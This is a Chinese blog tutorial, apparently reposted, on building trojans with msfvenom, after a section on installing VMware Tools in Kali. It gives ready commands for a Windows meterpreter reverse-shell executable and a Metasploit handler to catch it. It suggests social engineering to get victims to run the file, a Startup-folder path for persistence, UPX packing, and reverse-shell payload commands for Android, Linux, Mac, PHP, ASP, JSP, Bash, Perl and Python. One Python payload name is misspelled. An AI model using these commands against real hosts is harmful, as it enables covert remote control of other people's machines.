msfvenom生成木马利用

一开始想着把自己的物理主机当作靶机来执行木马,奈何发现不能从kali拖拽文件,所以先处理了下Tools的问题。
在安装Tools的时候提示CD-ROM门锁定,如果有和我一样问题的朋友可以按照我的方法来解决。

0x00 关闭kali

0x01 点击编辑此虚拟机

在这里插入图片描述

0x02 将此处改为使用物理驱动器

msfvenom生成木马利用_第1张图片

0x03 再次开启虚拟机,等开启后选择安装Tools

0x04 他会自动进行安装,进入系统后打开文件夹可以看到这个压缩文件

msfvenom生成木马利用_第2张图片

0x05 接下来就是花里胡哨一通安装

在安装包目录里 sudo cp VMwareTools-10.2.0-7259539.tar.gz /home 回车 把安装包VMwareTools-10.2.0-7259539.tar.gz提取到home目录。
cd /home 回车 切换到home目录,
ls
sudo tar -zxvf VMwareTools-10.2.0-7259539.tar.gz 解压安装包
ls
cd vmware-tools-distrib/
ls
sudo ./vmware-install.pl
回车后就进行安装了,安装时加载信息很多 需要输入yes/no ,一直输入yes就可以了。一直到出现 “Enjoy” 就是安装完成了。
msfvenom生成木马利用_第3张图片至此文件拖拽的事就解决了,下来就是利用MSF生成木马了。

MSF生成木马

我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。

•–p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
•–l:查看所有payload encoder nops。
•–f :输出文件格式。
•–e:编码免杀。
•–a:选择架构平台 x86 | x64 | x86_64
•–o:文件输出
•–s:生成payload的最大长度,就是文件大小。
•–b:避免使用的字符 例如:不使用 ‘\0f’。
•–i:编码次数。
•–c:添加自己的shellcode
•–x | -k:捆绑

msfvenom生成木马利用_第4张图片
生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.99.131 lport=8888 -f exe -o /muma/test.exe   # lhost是我们的主机ip,lport是我们主机的用于监听的端口,输出位置可以自定义

msfvenom生成木马利用_第5张图片
可以在相应的目录下找到我们生成的exe木马
msfvenom生成木马利用_第6张图片我把这个木马拖拽到我的物理机,但是在实战中就需要想办法诱导目标去触发此木马了,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。
msfvenom生成木马利用_第7张图片
我们返回kali 开启msfconsole控制台,执行以下命令

  msf > use exploit/multi/handler   #使用exploit/multi/handler监听从肉鸡发来的数据
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp   
   #设置payload,不同的木马设置不同的payload
  msf exploit(handler) > set lhost 192.168.99.131    #我们的主机ip
 msf exploit(handler) > set lport 8888            #我们的主机监听端口
 msf exploit(handler) > exploit

接下来就是等待目标触发木马了,此时我在物理机点击exe木马,立马弹回meter的会话
msfvenom生成木马利用_第8张图片我们就拿到了这台主机的shell,如果想持续性控制此主机,可以将木马放在开机启动项中,只要一开机就会触发。

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

木马还可以进行upx加壳

upx -9 test.exe -k -o test2.exe

下面介绍一些生成其他格式的木马!

安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk  
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho >  shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f  aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.py

你可能感兴趣的:(安全)